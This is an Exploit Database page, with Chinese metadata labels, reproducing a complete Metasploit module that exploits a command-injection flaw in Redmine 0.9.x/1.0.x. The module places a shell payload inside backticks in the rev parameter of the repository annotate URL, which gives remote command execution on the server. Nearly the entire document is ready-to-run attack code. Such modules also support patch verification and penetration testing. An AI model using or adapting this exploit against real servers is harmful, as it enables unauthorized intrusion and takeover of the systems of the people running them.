Redmine SCM Repository 0.9.x/1.0.x – Arbitrary Command Execution (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2011-01-08
• 类别：

  • webapps
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/16889/

• ##
  # $Id: redmine_scm_exec.rb 11516 2011-01-08 01:13:26Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Redmine SCM Repository Arbitrary Command Execution',
  			'Description'=> %q{
  					This module exploits an arbitrary command execution vulnerability in the
  				Redmine repository controller. The flaw is triggered when a rev parameter
  				is passed to the command line of the SCM tool without adequate filtering.
  			},
  			'Author' => [ 'joernchen <joernchen@phenoelit.de> (Phenoelit)' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 11516 $',
  			'References' =>
  				[
  					['OSVDB', '70090'],
  					['URL', 'http://www.redmine.org/news/49' ]
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					'Space' => 512,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic telnet',
  						}
  				},
  			'Platform' => 'unix',
  			'Arch' => ARCH_CMD,
  			'Targets'=> [[ 'Automatic', { }]],
  			'DisclosureDate' => 'Dec 19 2010',
  			'DefaultTarget'=> 0))
  
  			register_options(
  				[
  					OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]),
  				], self.class)
  	end
  
  	def exploit
  		command = Rex::Text.uri_encode(payload.encoded)
  		urlconfigdir = datastore['URI'] + "repository/annotate?rev=`#{command}`"
  
  		res = send_request_raw({
  			'uri' => urlconfigdir,
  			'method'=> 'GET',
  			'headers' =>
  			{
  				'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
  				'Connection' => 'Close',
  			}
  		}, 25)
  
  		if (res)
  			print_status("The server returned: #{res.code} #{res.message}")
  		else
  			print_status("No response from the server")
  		end
  		handler
  	end
  
  end